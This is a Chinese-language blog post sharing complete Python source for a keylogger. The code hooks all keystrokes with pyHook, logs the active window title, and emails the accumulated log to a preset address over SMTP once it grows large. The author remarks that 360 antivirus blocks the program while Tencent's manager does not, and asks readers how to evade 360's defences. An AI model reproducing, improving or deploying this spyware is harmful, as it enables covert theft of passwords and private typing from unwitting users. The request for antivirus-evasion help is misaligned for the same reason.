前段时间发现python可以做很多底层的事情,于是想到能不能通过python记录键盘键入的信息,查了下,使用pyhook可以实现。pyhook的安装与依赖包一搜一大堆,这里就不详细说了,需要注意的是32位与64位的问题。闲话不多,下面贴代码;
# -*- coding: utf-8 -*- from email.mime.text import MIMEText import pythoncom import pyHook import smtplib str = '' def onMouseEvent(event): # 监听鼠标事件 print "MessageName:", event.MessageName print "Message:", event.Message print "Time:", event.Time print "Window:", event.Window print "WindowName:", event.WindowName print "Position:", event.Position print "Wheel:", event.Wheel print "Injected:", event.Injected print "---" # 返回 True 以便将事件传给其它处理程序 # 注意,这儿如果返回 False ,则鼠标事件将被全部拦截 # 也就是说你的鼠标看起来会僵在那儿,似乎失去响应了 return True def pushEmail(stri): #正文 mail_body = stri #发信邮箱 mail_from = '[email protected]' #收信邮箱 mail_to = ['[email protected]'] #定义正文 msg = MIMEText(mail_body) #定义标题 msg['Subject'] = 'this is the title' #定义发信人 msg['From'] = mail_from msg['To'] = ';'.join(mail_to) #定义发送时间(不定义的可能有的邮件客户端会不显示发送时间) # msg['date'] = time.strftime('%a, %d %b %Y %H:%M:%S %z') smtp = smtplib.SMTP() #连接SMTP服务器,此处用的126的SMTP服务器 smtp.connect('smtp.126.com') #用户名密码 smtp.login('[email protected]', 'xxx') smtp.sendmail(mail_from, mail_to, msg.as_string()) smtp.quit() global str str = "" def onKeyboardEvent(event): # 监听键盘事件 #print "MessageName:", event.MessageName # print "Message:", event.Message # print "Time:", event.Time """ :param event: :return: """ print "Window:", event.Window s = event.WindowName print "WindowName:", s.decode('gbk', 'ignore').encode('utf-8') # print "Ascii:", event.Ascii, chr(event.Ascii) print "Key:", event.Key print "KeyID:", event.KeyID global str str = str+' windowName:'+event.WindowName.decode('gbk', 'ignore').encode('utf-8')+' key:'+event.Key # fileHandle = open('test.txt', 'a') # fileHandle.writelines('WindowName:'+event.WindowName.decode('gbk', 'ignore').encode('utf-8')+'\n') # fileHandle.writelines('Key:'+event.Key +'\n') # fileHandle.writelines('*********************'+'\n') if len(str) > 50000: pushEmail(str) # print "ScanCode:", event.ScanCode # print "Extended:", event.Extended # print "Injected:", event.Injected # print "Alt", event.Alt # print "Transition", event.Transition print "---" # 同鼠标事件监听函数的返回值 return True def main(): # 创建一个“钩子”管理对象 hm = pyHook.HookManager() # 监听所有键盘事件 hm.KeyDown = onKeyboardEvent # 设置键盘“钩子” hm.HookKeyboard() # 监听所有鼠标事件 # hm.MouseAll = onMouseEvent # 设置鼠标“钩子” #hm.HookMouse() # 进入循环,如不手动关闭,程序将一直处于监听状态 pythoncom.PumpMessages(100000) if __name__ == "__main__": main()
记录后发送邮件到指定邮箱。现在有个关键问题是360会主动防御掉,但是腾讯管家没有任何反应,呵呵。还没想到怎么过主防的办法,知道的同学可以交流下。